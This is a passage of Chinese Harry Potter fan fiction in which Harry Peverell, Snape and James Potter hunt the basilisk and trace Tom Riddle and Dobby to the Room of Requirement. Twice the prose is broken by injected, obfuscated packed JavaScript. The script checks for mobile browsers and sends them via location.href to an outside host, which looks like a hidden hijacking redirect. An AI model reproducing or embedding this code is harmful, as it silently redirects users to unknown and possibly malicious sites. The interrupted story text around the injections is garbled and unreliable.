“这里是女生盥洗室,你们不是女的。”桃金娘幽幽地说。闻言斯内普脸色又阴沉了几分。 哈利干笑两声,“呃,我们只是想来参观下……这里挺不错的,很特殊。” “我知道你是谁,佩弗利尔教授。”桃金娘尖细的声音里还带着点哭腔,“还有斯内普教授!太可怕了,从来没人来我这里,没人在意我,他们只会来嘲笑我,我喜欢自己一个人在这里静静地哭,你们来干什么呢?” “很抱歉打扰你了。”哈利说,他指了指前面,“好吧,我们得借用一下你的盥洗室。准确的说,是那个水池。” 桃金娘忽然兴奋起来,飘离马桶跟在他身边,“那只是个普通的水池,龙头也不出水。里面有宝藏吗?” “哦,没有宝藏,不过我会让它变得不普通的。”哈利先用英语回了她一句,等他转过头来盯着水池上的铜龙头后,再次开口出来的就是一种奇怪的嘶嘶声了。 “打开。” 水池渐渐在视线中消失,密室的入口展现在他们的眼前。 “我们下去吧。”哈利对斯内普说,“战斗开始了。” 半小时后,他们呆立在空旷的、光线昏暗的房间里,一脸呆滞。 “这就是你说的战斗?和什么?石柱?”斯内普愤怒的声音在房间上空回荡。 梅林作证,除了雕刻着大蛇盘绕的石柱,幽寂阴森的密室里没能找到任何跟蛇有关的东西,他们一无所获。 “蛇怪确实应该藏在这里!”哈利在密室里团团转,入目尽是错杂交横的阴影,凝固着黑暗。他显得很烦乱,急躁又无意义地挥动了下魔棒,“我以前就是在这里杀了它的。” “那就找到它!” “难道它现在还在管道里?它是通过管道活动的!”哈利想到这个可能性,顿时眼睛一亮,“我们在这里等一晚,它肯定会回来的。” 斯内普对这个想法呲之以鼻,但还是按捺住不耐,和哈利在密室守了整整一晚。他们搜遍整个密室,试图找出任何关于蛇怪的蛛丝马迹。 然而残酷的事实证明,蛇怪真的不在密室里,它甚至不在任何一条管道里。但石化的惨案告诉他们,它又真实存在。 当哈利他们最终不得不从密室出来,重新回到盥洗室时,两人灰头蒙面,相顾无言。 桃金娘快乐地在他们上空绕圈,“里面好玩吗?你们找 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“你去向邓布利多报告这件事,询问他是否要把蛇怪的存在公告全校。虽然我个人并不赞同,那些愚蠢的小脑瓜子除了恐慌起不了任何作用。然后你再去找韦斯莱那个小姑娘,确认一下日记到底在不在她手上。” “那你呢?”哈利喃喃问道,依然有些神不守舍。 斯内普眯起眼睛,“我去通知所有院长,从现在起每个学生都得带着镜子走路。” ****** 听了哈利的报告,邓布利多沉默良久,最终还是决定暂时对学生隐瞒蛇怪的事,只在教师内部小范围公开,并要求每位教师保持警惕,尽量多在走廊巡视,以防蛇怪袭击学生,并做好随时和蛇怪作战的准备。洛哈特当即表示蛇怪对他来说只是小菜一碟,对付它甚至用不了两个魔咒。哈利没能在金妮身上发现日记本的痕迹,也许事先有了心理准备,他反而没有任何失望的表现,只是转移了调查方向。而虽然学生们并不知情,但他们被各院院长要求随身带着一面小镜子,每次走到拐角处先照一下。没有任何附带说明的要求引起了学生们的不满和猜测,而个别脑子灵活的学生,如赫敏,就猜到了应该是和密室的怪物有关。 “我猜佩弗利尔教授他们肯定是掌握了什么线索,用镜子照拐角处说明我们可能不能直视这个怪物,我等会儿再去图书馆查查,说不定能查出什么。总之你们几个一定要认真按要求做,尤其是罗恩和哈利你们两个,不准敷衍了事!”赫敏这么督促她的几个小伙伴,除了泰迪认真点头外,另外两个果然很不以为然。 自万圣节后,蛇怪没有再出现,哈利也没再从墙里听到任何嘶嘶声,其他人也渐渐放松了神经。霍格沃兹在一片诡谲的风平浪静下,迎来了今年第一场魁地奇比赛,格兰芬多对斯莱特林。 哈利作为格兰芬多队的顾问,在比赛前进入更衣室,准备给队员们鼓舞士气。他对于格兰芬多队能取胜并没有担忧——今年斯莱特林队少了卢修斯的赞助,没有再统一配备光轮2001,而小哈利的飞行天赋相信可以为他们赢得金飞贼。 进了更衣室,队长伍德正按惯例激动地发表讲话,队员们都围在他身边,小小的空间被紧张的气氛所包围。哈利随意扫了一眼,立刻发现少了一个人,“波特呢?他怎么不在?马上就要比赛了。” 作为队里唯一的找球手,小哈利的位置是必不可缺的。 回答他的是罗恩,他今天是替补守门员的身份,“哈利说他落了东西在礼堂,马上就回来。” 弗雷德也皱眉看了下墙上的时间,“他都去了十几分钟了,还有一分钟就要上场了。” 他这么一说大家都慌了,伍德吼着要好好地教训他,哈利心里闪过一丝不好的预感。 转瞬到了上场的时间,可以听到场地上喧声鼎沸,而小哈利依然不见人影。 哈利正想说“我去找他”,这时传来场地上麦格教授通过麦克风放大的声音,“比赛取消!所有学生马上返回本学院的公共休息室,具体情况会由各院院长向你们转达,请尽快离开!” “怎么回事!为什么忽然取消比赛!”伍德不满地抱怨道。 而几乎是听到麦格教授喊话的一瞬间,哈利就意识到——蛇怪出现了!而被袭击的对象是—— 他用最快地速度冲向医务室,后面跟着后知后觉反应过来的格兰芬多队的队员们,一起进入了医务室里。 庞弗雷女士正好查看完床上的病人。 “哈利!”罗恩惊呼。 失去踪影的小哈利穿着鲜红的格兰芬多队袍,如尸体般僵硬地躺在那里,手里攥着一面圆镜子。 55. 来自活点地图的启示 哈利没想到会在医务室遇见詹姆斯·波特。 彼时他正好来询问庞弗雷夫人曼德拉草的成熟进度,而詹姆斯·波特则恰好从医务室的隔间里走出来。哈利不用问也知道他为什么会在这时候出现在霍格沃兹——隔间里的床上正躺着他的儿子,哈利·波特,这个时代的。 除了发现小哈利被石化的那一次,哈利并没有如同泰迪他们般隔三差五地前去探望,一方面石化的人对于周围的动静是毫无知觉的,当然有一个更主要的原因是——即使他已经能很好地把这个时代的哈利·波特作为另一个个体来对待,但不代表他在遇见自己的父亲来探望另一个自己时不会感到尴尬。 哈利在迟疑,他不确定该用什么态度去面对詹姆斯。没能趁早找到并解决蛇怪不能完全归咎于他,但险些令自己的父母失去孩子也是事实——如果小哈利没有听话带着那面镜子的话。比起上次见面时的充满活力,詹姆斯看似整个陷在憔悴之中,这比任何噤声魔咒更让哈利感觉发声困难。 也许悄悄离开是个好主意,哈利几乎要退缩,但詹姆斯抢先一步发现了他。 “你好,哈利!”詹姆斯迎上来,对他就像对待老朋友一样热情。 “好久不见,詹姆斯。”哈利只能停下脚步和他握手,“你是来看哈利的吗?”才说完就恨不得打自己的嘴巴,瞧瞧他问的都是什么白痴问题。 “也只能‘看看’了,老实说,和石化的人说话还不如和柜子里的博格特说话。”詹姆斯故作轻松地耸耸肩。 哈利看向眼前强打精神的人,心情也不由自主消沉起来,“唔……我很抱歉。”他瞥了眼隔间,“我应该更警惕的,如果能早点发现——” “不,这不是你的责任。”詹姆斯疲惫地摸了把脸,声音有点发哑,“我刚刚见过阿不思了,密室的怪物……这在我们那届也只是个校园传说,谁也没真的见过密室或里面的蛇怪,当然也无法避免来自它的袭击。” “别担心,庞弗雷夫人说曼德拉草已经出现成熟的兆头了,石化的状态只是暂时的,我敢肯定不用两个月哈利就能恢复正常。”对于石化复活这点,哈利自觉还是比较有话语权的。也许是觉得还不够,他又飞快加上一句,“我以前也对付过类似的怪物,会很快抓到蛇怪的,我保证!” 哈利没有意识到,自己的行为并不恰当,至少他的表现不像一个学校的教授,而更像是身负父母的期望,生怕看到他们失望的眼神的孩子。 但詹姆斯只是凝视着他的碧绿眼眸,缓缓点头,“我明白。”哈利急切的保证令他心头稍微轻松一些,也许从一开始,他潜意识里就对面前和自己长得过于相像、来历神秘的黑魔法防御课教授抱有莫名的亲切感和信任感,仿佛笃定眼前的男孩绝对是和自己站在一边的,他们应该有更亲近的关系,而不止于萍水相逢的朋友。 “我相信你能做到的。” 哈利沉默片刻,一时不知道该如何接话——他并不习惯和“活着”的父亲进行单独的谈话,而他印象里的父亲总是更年轻具有活力的,因为他甚至还没等儿子长大就离开了。直到想起自己怀孕的母亲,他犹豫着要不要开口,最后还是忍不住问了一句,“莉莉还好吗?” “她挺好,我没告诉她。”詹姆斯苦笑一下,“就像你说的,事情还没那么糟,不是吗?” “当然,一切都会好起来的。”哈利说,默默唾弃只能说几句不痛不痒的安慰之词的自己。 詹姆斯伸手拍拍他的肩膀,“有什么我能做的吗?只要我能帮得上。你瞧,我毕竟是个傲罗,说不定我的直觉或经验能替我们找到什么线索,你觉得呢?”不等哈利回答,他又调皮地对他眨眨眼,“你不会吝啬于请我喝一杯咖啡吧?” *** 哈利几乎是诚惶诚恐又受宠若惊地把詹姆斯带到自己的办公室。 对于自己的父母,他总是怀着几分矛盾心情的。 他无可避免地想亲近他们,又清楚意识到他们没有承受过另一个时代里的那些苦难,不需要两个名叫哈利·波特的孩子。至少在第一年里,哈利成功和他们保持了距离,直到暑假时的生日会后被单方面拉近,随后走动自然而然多了起来——其实他对亲情的渴望并没有随着时间的流逝而减淡半分,那是他梦寐以求的东西。 在对门上的画像说出口令后,他侧过身,请詹姆斯进屋后才关上门。 “我这里只有普通的咖啡,你介意吗?”哈利几乎翻箱倒柜,“桌上有姜汁饼干。” “不,普通的咖啡就行了,我最近都没怎么睡,需要提提神。” “傲罗的工作很忙吗?” “事情很麻烦,坎布里亚那边几个小镇不断有隐居的巫师和女巫失踪。这几天一直在那里奔波,房子里都被下了反追踪咒,找不出任何线索。我都开始怀疑是不是和伏地魔有关了,谁知道呢,说不定过几天凤凰社就会有任务下来了。” 詹姆斯叹了口气,扯过把椅子坐下,随意环视一周后,视线第一时间就集中在搁置于桌角的人偶身上,“嘿,这就是那个长得像斯内普的人偶吗?”显然西比通过小哈利的信件已经在他亲友间打响了知名度。 自从人偶西比也遭遇到石化的悲剧后,哈利思前想后还是决定把它带回办公室搁着——作为一种魔法产物,还是阴差阳错下造成的,很难说曼德拉草是否能对它起效。 “是的,可惜你来晚了一步,没看到它作威作福的时候。”哈利边冲泡咖啡边漫不经心地应道,“绝对不止是‘长得像’而已。” “我听说过,韦斯莱兄弟的八卦电台我也有偷听。”詹姆斯研究人偶的兴致颇大,说话间已经把人偶捏在手里翻来覆去看了好几圈,“这人偶是你做的?”他露出一丝微笑,“如果不是知道你和斯内普关系不错,我几乎要以为你对他有什么深仇大恨了。” 哈利先是因为前一句话闪过一丝尴尬,又因为后一句而愣住了,低声重复了一遍,“我和斯内普关系好吗?”曾经有段时间他对斯内普恨之入骨,除了伏地魔以外,他把所有的仇恨都倾注到斯内普身上,然后某一天他意识到这是个错误,只是为时已晚。来到这个时代后,他和斯内普从一开始就彼此争锋相对,到现在还没事爱斗个嘴互相嘲讽一下,原来在别人心目中他们算关系不错了吗? “难道不是吗?我以为你们俩经常同进同出是整个霍格沃兹的学生有目共睹的?哈利,我是说我儿子信里提了好几次,虽然绝大多数内容是表达他对魔药课的怨愤和恐惧之情。”詹姆斯看着他翡翠一样、流露出些许迷茫的绿眼睛,“小天狼星都和我说了好几次,让我想办法劝你不要和斯内普走太近。我得说他有点多管闲事,事实上你可能猜到了,我们在学生时代和他之间有点不愉快的经历,怎么说来着?年少轻狂、偏见严重、自认为是格兰芬多,不,学校的领头人——不能说我们的做法就是正确的,即使格兰芬多和斯莱特林的对立远比现在更严峻,要知道十个食死徒里有九个是出身斯莱特林的。我承认,直到哈利出生前,我们都认为斯内普毫无疑问是个食死徒。” 啊,这段历史。哈利默默移开视线,摸了摸鼻子——他当然对来龙去脉一清二楚,而且还是从冥想盆里身临其境了一把。 詹姆斯接过哈利递来的咖啡,啜了一口,“谢谢。当然那都是过去式了,我相信邓布利多的判断,也愿意相信斯内普的确是我们的同伴——但原谅我也有好奇心,哈利,虽然我们相处的时间不长,可我认为以你的个性不应该和斯内普能相处得……如此愉快?我不是说斯内普的个性不好,但总不会是太讨格兰芬多喜欢的个性,而你偏偏就是个典型的格兰芬多。我记得你曾说过他是你见过的最勇敢的人,是因为这个吗?唔,当然如果你觉得我冒犯了,我会道歉的。” 哈利一时间找不出任何语言来回答,他没想到会和詹姆斯聊到这个话题,没有任何心理准备。他不迟钝,正如同小天狼星在首次见面时就表现得异常热情,詹姆斯对他的关注也远远高于一般的朋友,以致于出现了刚才那番逾越一般朋友界线的对话。哈利也曾妄想过,说不定,有一天他们能‘想起’他来,作为哈利·波特,而非哈利·佩弗利尔。只是“妄想”罢了。 现在,他无法解释为什么他对斯内普能毫无保留的信任,正如他无法坦白自己真实的来历,那些尘封在遥远过去、或者是未来的记忆还只能埋藏在心底深处。最后他只能抿抿嘴,轻描淡写地给了一个模糊的回答,“大概吧。就像你说的,我以前也抱着狮鹫和蛇怎么混到一起的想法。你看,泰迪也很喜欢他,我得承认一开始我都惊呆了。但和斯内普今年一直在一起执行任务,他很可靠——也帮了我很多。就算是现在他对我也总没好话,不过我想,我在各种意义上……是信任他的。” “……但愿你是对的,哈利。”詹姆斯目光一直停留在哈利身上,没有漏掉对方的迟疑和隐瞒,也意识到对方不打算再深入谈下去。即使得到邓布利多的保证,莉莉的信任,他对斯内普依然存有疑虑,尤其是在伏地魔可能东山再起的情况下。他对哈利·佩弗利尔抱有极大的好感,不由自主地就想去亲近他,因此也担忧他会遇到危险——凤凰社的任务可不是过家家。即便如此,他不能、也没有资格去干涉别人的交友情况。詹姆斯郁闷地想,只是名字一样,又不是他儿子! “好吧,我们还是来说说蛇怪吧。”詹姆斯从善如流地转移了话题,总算没忘他一开始就是以此为借口来哈利办公室蹭咖啡喝的。 哈利顿时松了口气,太有压力了,即使这不能算是父子间的谈话。 其实不用谈也知道蛇怪的搜寻进度。詹姆斯面前的桌上正好平摊着一张霍格沃兹的平面地图——他一进来就注意到了。目光所及处不少地方做了否定的标记,詹姆斯甚至发现好几条连费尔奇都不知道的密道也被打上红叉。 “看来你们快把整个霍格沃兹都翻遍了。”詹姆斯飞快扫视了一遍地图,得出这个结论。“蛇怪没再出现过了?” 一说到这个,哈利又有点丧气,“没有。梅林作证,这一个月里都把城堡翻了好几个来回了——”准确来说是和斯内普利用各种课余时间进行地毯式搜寻,搞得后者连制作一瓶魔药的时间都没了,亏得斯内普能忍耐到现在,“可就是找不到,我实在想不到蛇怪从密室出来后能藏到哪里去。” “望风而逃的可能性?” “绝对不可能。”哈利肯定地说。 詹姆斯皱起眉头,“打人柳下面有条地道,也许你不知道,它会通往……” “尖叫棚屋。蛇怪不在那儿。”哈利接过话头,“……唔,斯内普告诉我的。”他补充道。 好吧,詹姆斯咧咧嘴,看来被勾起不太好的回忆,接下来几分钟都只是默默地盯着地图上的某一点。 “禁林去过吗?”詹姆斯确定不能从地图上找出更多线索后,思维转向另一个方向。 哈利摇头,“没有,我认为可能性不大,禁林里有很多其它魔法生物,那里是它们的地盘,以蛇怪的体型,很难独善其身。” “但禁林很大。”詹姆斯指出。总有魔法生物伸不到手的地方。 哈利内心并不认同,他的表情也忠实地反映了出来。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16156393|180577||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “你还是认为禁林不可能吗?” “躲在禁林里风险更大,容易被海格他们发现。”哈利内心挣扎了一下,还是决定透露点信息。“我怀疑,有人特意操纵蛇怪躲着我们。它不可能自己打开密室。” 詹姆斯挑眉,“有意思的想法,你是说留下那两句话的斯莱特林传人吗?可据我所知斯莱特林的血脉中断了。那会是谁呢?” 不,其实还是有一个的,最麻烦的那个。 哈利复杂的神色让詹姆斯反应过来,“霍格沃兹的学生?” “这个可能性最大。”哈利点头。附在日记本上的那片灵魂只能操控蛇怪,没有能力直接打开密室,他必须仰仗别人来帮助他实施,比如说诱惑一个什么都不知道、全心信赖他的学生。这次金妮被排除了,那到底谁会是日记本的目标? 要一个个排查学生也并不容易,若是学生故意隐瞒就更糟糕了,总不能对他们都使用吐真剂。想到这个哈利头都疼了。 詹姆斯摸着下巴若有所思,“这么说,最好的藏身地点还是霍格沃兹城堡内,当然不能太远才方便行动,如果频繁溜出城堡去某个地方就太显眼了。这个地方应该是隐蔽性很高,要不容易被外人发现,现在密室曝光了,管道里没有,秘密通道里也没有,不会是废弃的空教室,如果说还有什么适合藏身的地方——” 随着詹姆斯一层层的剥开分析,哈利眼睛渐渐亮了——某个地方呼之欲出。 “佩弗利尔。”门口方向传来硬邦邦的声音,生生截断了哈利的思路。房里的两人下意识往门口望去,斯内普一脸阴郁的站在那里。 哈利愤怒了,就差那么点他就有头绪了,“斯内普,你就不能敲个门再进来吗!” 斯内普视线先在詹姆斯身上滞留了一会儿,眼睛微微眯起,然后回到哈利身上,嘴角扯出一个假笑,“等你学会敲我办公室门的时候再来抱怨吧,佩弗利尔。” 哈利被噎得大口喘气。斯内普没说错,如果说一个月前他们访问彼此的办公室时还会假惺惺地敲个门,现在简直就是如同进入自己房间一样随意了。敲门是什么,能抓到蛇怪吗?嗯,正是拜蛇怪所赐。 斯内普的目光如毒蛇滑过般瞄向已经站起身的詹姆斯,“看来我来的不是时候?” 詹姆斯快步走上前,谦和地伸出手,“好久不见,斯内普教授。我只是正好碰到哈利来坐一下,我们刚才还在讨论蛇怪的问题,我敢说你来得正好,相信你肯定能给我们一些宝贵建议的。” 斯内普用眼角余光狠狠扫了哈利一眼,然后慢吞吞地伸出手,握上詹姆斯的手不到一秒就撤了回来,和之前的速度简直形成鲜明的对比。“好久不见,波特先生。我想你误会了一点,我对你为什么在这里毫不感兴趣,而且很遗憾,要来找佩弗利尔教授的不是我。” 哈利正为两个人的装模作样感到牙酸,听到这话才发现斯内普不是一个人来的,后面还吊着个小尾巴——从他身后探出头来的正是泰迪,见教父终于注意到自己,他乖乖叫了声,“哈利。”又转向詹姆斯,“好久不见,波特先生。” “你好,泰迪。”詹姆斯温和地向他点头,笑容立马真诚多了。 “找我有什么事吗,泰迪?”哈利不禁奇怪,泰迪知道他办公室的口令,明明可以直接过来的。 泰迪仿佛看出了他的疑问,看看斯内普又看看他,“你们不是在找蛇怪吗?我刚刚在走廊里遇到西弗,我想他也需要知道这件事。”他手里拿着一卷羊皮纸,哈利一眼就认出了——那是他送给泰迪的活点地图。泰迪又抬头看了看詹姆斯,“我也希望哈利和西比可以快点恢复过来。” 詹姆斯伸手摸了把他的头发,“他会的。” 泰迪摊开地图,三个大人都围在他身边。只见泰迪掏出魔杖置于其上,嘴里低声念道,“我是泰迪·卢平。我庄严宣誓我没打算遵守校规。” 墨水线条立时如同蜘蛛网般从羊皮纸中心向边缘延展开,不到一分钟就铺满了整张羊皮纸。羊皮纸的上方浮现墨绿色的花体字,显示这张地图由闪电、红毛鼬及大门牙携手提供。 哈利瞥见詹姆斯的眼睛微微睁大,一脸震惊得合不拢嘴的样子。 真糟糕,哈利暗叹。他待会儿该怎么解释这个来自月亮脸、虫尾巴、大脚板和尖头叉子创意的活点地图呢? 但现在不是纠结这个时候,哈利相信泰迪一定是在上面发现了什么。果然泰迪说,“罗恩让我用地图看看赫敏是不是又去图书馆了,结果我在地图上面看见了多比,没想到多比会在霍格沃兹。” 除了泰迪,每个人的神情都是带着疑惑和不解。 “多比是?”詹姆斯问。 “多比是自由的家养小精灵,它在我们家工作,我好一阵子没联系上它了。”哈利眉头皱得更紧了,他的确是一直没找到多比,但也只以为是多比自己出去溜达买袜子了,难道它和蛇怪—— 泰迪有点惊慌,“我本来想去找它,但我发现多比不是一个人……我看到一个名字,那个名字哈利你和我说过……”他的声音越来越小,似乎被惊恐掩盖了。 泰迪手指着八楼邓布利多办公室附近某条走廊的拐角处,那里徘徊着两个小小的墨水点点,哈利凑近看去—— 其中一个名字正是多比,另一个居然是—— “汤姆·里德尔。”哈利低声念道,仿佛有一条冰冷的蛇爬上了他的脊背,忍不住打了个寒噤。 耳边是斯内普冷漠而肯定的声音,“终于找到了。” 话音刚落,两个墨水点及名字都在地图上消失了。 56. 质疑 斯内普一脚踏出邓布利多的办公室,本准备直接顺着眼前的楼梯回到地窖里,刚往前走一步,又停了下来。他不动声色转了个方向,步向右侧的一条挂着挂毡并摆置着人形大小花瓶的走廊。 脑海里仍回荡着和那狡猾老蜜蜂的对话内容,斯内普不得不承认他必须是脑子被千万头巨怪踩过了——否则他怎么会放弃十年来能在大部分时间里安静地制药、时不时从斯莱特林以外学院的学生身上找点乐趣的生活,给自己找了个天大的、而且一天到晚只会惹事的麻烦呢? 他被踩成格兰芬多的脑子了吗?该死的佩弗利尔。 别以为他没看见那天詹姆斯·他实在不是很愿意想起这个人的名字·波特离开时满是疑惑、欲言又止的神情,当然还有佩弗利尔那一脸“把事情搞砸了”心虚的表情。他不怀疑詹姆斯·波特对佩弗利尔抱持着难以言喻的复杂情感——绝非普通朋友间的友谊,即使他们接触不多。 也许和佩弗利尔在他所属的时空有关联的人都会出现这样的症状,恍惚间总会出现一些似是而非、无处可寻的即视感,而他和邓布利多就是最好的例子。 那又如何?斯内普并不觉得那个陌生的时代和他有什么关系,也不觉得哈利·佩弗利尔,准确来说,哈利·波特和他的父母相认是个好主意。 虽然这也和他没什么关系,但一想到这个可能性,斯内普依然从心底感到不悦。 他不认为波特夫妇会惊喜地接受这个凭空冒出来的儿子,尤其在他们还有一个同名同姓、小了整整十岁的儿子的情况下。他们对他的过去一无所知,也不会有机会去经历一遍,对于他们的家庭来说,哈利·佩弗利尔只会是一个受欢迎的访客,而不是受欢迎的家庭成员。 斯内普知道佩弗利尔不会傻到主动去坦白身份,但不代表他们不会从蛛丝马迹里接近真相,尤其是詹姆斯·波特这个从学生时代就敏锐得令人厌恶的家伙,显然已经开始有所怀疑了。 但至少他刚进入佩弗利尔办公室时詹姆斯·波特的表现还算正常,让他后来变了脸色的,是那个什么活点地图吗?斯内普没兴趣知道佩弗利尔是怎么捣鼓出这么个玩意儿,在他眼里,活点地图除了供皮痒的学生避开教授耳目违反校规到处闯祸以外毫无用处。 当然,斯内普艰难地承认,活点地图还是起了那么点微不足道的作用——霍格沃兹校园内所有人的名字一览无遗,当然这也包括了他们几个的名字,以及黑魔王魂器中灵魂碎片的真实姓名。好吧,梅林保佑佩弗利尔还没蠢到无可救药的地步——至少他还懂得制作时做个手脚掩盖自己的真实名字,否则一旦出现两个哈利·波特的名字,詹姆斯·波特就不仅仅是怀疑了。 不管怎么说,拜活点地图所赐,他们不费吹灰之力找到了蛇怪的踪迹——它和佩弗利尔的家养小精灵一起躲在有求必应室里面不肯出来。 ——就在现在他脚下这条走廊的某处。 斯内普没走几步,果然就见到黑魔法防御教授一如既往带着一脸蠢样从走廊另一头走来——显然已经徒劳无功地走了好几个来回。 他什么时候这么了解佩弗利尔了?真糟糕。 内心腹诽着,斯内普嘴角勾起一个微嘲的笑容,“还没放弃愚蠢的尝试吗,佩弗利尔?” 哈利停下脚步,有些诧异地说,“斯内普!你不是说宁愿天天去面对格兰芬多的笨蛋学生也不愿意再和我到处乱转了?“ 斯内普白他一眼,“我的确这么想过,如果隆巴顿没有把肿胀药水撒得满地窖都是的话。” 哈利回瞪他一眼,“他是被你吓的!我警告过你,不要总是恐吓纳威!” 斯内普冷淡地回道,“我会考虑的。” 哈利正惊讶于他居然这么好说话,便听到斯内普又加了句,“有你这个做事冒失不靠谱的格兰芬多作为榜样,我觉得隆巴顿也不是那么难以忍受,至少他还没蠢到自己的家养小精灵和蛇怪勾搭上了都不知道。” 哈利顿时被噎得说不出话来,气呼呼地越过他直接往前走。 斯内普毫不在意地转身跟在他身后,“再怎么转也是徒劳无功,邓布利多让我们等。” 哈利耸耸肩,“我知道。我只是在思考一些问题,在哪儿都无所谓——反正我们也进不了有求必应室,说不定想着想着蛇怪就忍不住出来袭击我了呢?” 是的,好不容易发现了蛇怪踪迹,却没多久就被一盆冷水浇灭了所有的斗志。他们面临着一个最大的难题——他们该怎么去把蛇怪揪出来? 在属于哈利的那个时代里,有求必应室被破坏得相当彻底,再没有哪个学生能够找到它,以致于很长一段时间里哈利几乎遗忘了霍格沃兹里还有这么一个神奇的房间。 但这个曾经为哈利和DA提供庇护的房间,现在是他头痛不已的根源。 在数次的尝试失败后,哈利不是没和邓布利多商讨过如何进入有求必应室这个问题,得到的答案却令人沮丧。 “很遗憾,哈利。我不认为我们能够直接进入有求必应室里。”邓布利多是这么说的,“就算你是真的需要它,但你的愿望明显和上一个许愿人冲突了。” “你的意思是,如果我许愿说‘我想要进入多比和蛇怪所在的房间’,这可能和之前他们许的‘不让任何人发现的房间’有所冲突,所以有求必应室不可能达成我这个愿望吗?”哈利问。 “显然是的。有求必应室显然是以‘先来后到’为原则,我们也必须遵循它。现在除了等待,别无他法。”邓布利多湛蓝的眼睛里掠过一丝意味深长的光芒,“那么让我们回到最开始的话题,在这次的事件里,根据哈利你的描述,小精灵多比明显是个变数,而最大的变数,我认为是汤姆·里德尔的那本——日记本。” 快走到楼梯口的时候,哈利又停了下来,眯着眼望着空无一物的前方,“这几天我一直在回想我和多比相遇时的情景。” “就是我们在对角巷遇到的那次?”斯内普走到他的旁边说。 “哦,对,我差点忘了你也在场。”哈利对他的侧脸翻了个白眼,“你还记得什么吗?” “我只记得小精灵身上那堆怪异的袜子还有某人乐得找不到金加隆的傻样。” “收集袜子是多比的爱好!”哈利咕哝道,“我的确很高兴,多比和别的家养小精灵不同,它救了我很多次!我真没想到能那么快就见到它……” “所以你问都不问就傻乎乎把它领回家了。”斯内普适时补刀。“也许它是卢修斯·马尔福派来的间谍。” “不可能!”哈利大声反驳,“我相信多比!它还在做马尔福家的家养小精灵时就帮了我,虽然方法不太对……绝对是里德尔控制了它!” 斯内普双臂环抱,露出怀疑的目光,“那你怎么解释为什么它是自由的?在你没有解放它的情况下?这里没有‘哈利·波特’,没有它的‘希望’。” 哈利一时没法回答。出于对小精灵的信任,他并没有对对方获得自由的过程多加询问就雇佣了它。斯内普的质疑不是没有道理,但哈利一想起当时在对角巷偶遇多比时,它全身上下套满了各种颜色的袜子,虽然在找工作时屡屡受挫,但它的脸上神采飞扬,是发自内心的快活。他不愿意对多比抱以怀疑的态度。 哈利不想继续刚才的话题,“邓布利多认为问题应该是出在日记本上。” “但这解释不了之前的问题。”斯内普冷冷地提醒他。 “别忘了伏地魔的灵魂碎片才是最大的幕后黑手,蛇怪是受他控制的!”哈利顿了一下,“里德尔可能和伏地魔一样。” 斯内普环抱着的双臂明显收紧。 “说不定,日记本里的灵魂碎片,也看到了未来。”哈利艰难地说出邓布利多曾说过的话。“所以他转移了控制的目标,并且离开了密室。” “又是未来吗?”斯内普缓缓地说,“到底是过去改变了未来,还是未来改变了过去?” “我讨厌这种绕来绕去的说法。”哈利叹气,嘴角流露出疲惫,“也许梅林才知道了。” 斯内普瞥了他一眼,“梅林不会知道蛇怪什么时候会出来,但我们可以预测。不过如果汤姆·里德尔真的如你说所拥有未来的记忆,很难讲他会不会按牌理出招。” “以他的自负,我不相信他会甘愿躲在有求必应室里不出来。”哈利摇头。 “既然我们都不认为蛇怪会在有求必应室里躲一辈子,而这一个多月的蛰伏也该是极限了。接下来,说不定他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16156394|180577||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们会选择一个恰当的时机出来进行下一步的袭击——” 哈利眼睛亮了,“如果让我选大家可能比较松懈的时候——” ****** 转眼就到了圣诞假期前的最后一天,往年这个时候学生们的心几乎都飞回家了,恨不得已经乘上了回家的列车,而不是在枯燥的课堂上昏昏欲睡。 可今年的这一天,如果说有什么比回家过圣诞更能引起学生之间的话题的,那就是预定今晚演出的圣诞话剧。 自11月份的袭击以来,蛇怪已经销声匿迹了快两个月。一开始人心惶惶的学生们,也逐渐放松了警惕,甚至绝大多数人都认为斯莱特林的继承人不会再出现了。一度被紧张气氛弥漫的校园又慢慢恢复了往日的活力,而不少被暂停的活动,如魁地奇、话剧排练等也一一恢复运作。缺少了出色找球手的格兰芬多队在比赛中处于不利的局势,逼得伍德天天往医务室里钻,跑得比泰迪他们还勤,恨不得化身曼德拉草把小哈利给救醒——最后被不堪其扰的庞弗雷夫人禁止入内了。和伍德采取相同手段的是洛哈特。他一开始担忧话剧停演、才华和魅力得不到施展,于是天天去骚扰邓布利多,逼得邓布利多隔三差五得换一次办公室密码,直到得到不会停演的保证才消停,改为天天折磨那些可怜的演员。 当泰迪和赫敏匆匆赶到礼堂里的时候,各个学院的餐桌已经几乎被学生占满了。礼堂的布置和平时不同,本位于最前方的教师餐桌被移到学院餐桌的旁边,留出的空位搭上了舞台,如今拉上帷幕,静待话剧的正式开演。 表演安排在晚餐后半小时进行,鉴于缓冲的时间较短,演员们大都事先换好了服装,只等和其他学生一起就完餐后就立刻转移到后台化妆准备。泰迪和赫敏都出演了话剧中的角色,自然也换上了各自的戏服——比起较具现代感的霍格沃兹校袍,更类似于历史画册中记载的中世纪巫师和女巫的袍子,几乎长得拖到地上了,使得泰迪好几次差点因为踩到衣角被绊倒。 作为格兰芬多二年级唯二能在话剧中出演角色,并且是主角而不是跑龙套,他们毫无意外地在走往格兰芬多长桌的一路上收获无数视线及鼓励。 “嘿,期待你们今晚的表演!”迪安对他们吹了声口哨,大力地拍着泰迪的后背。 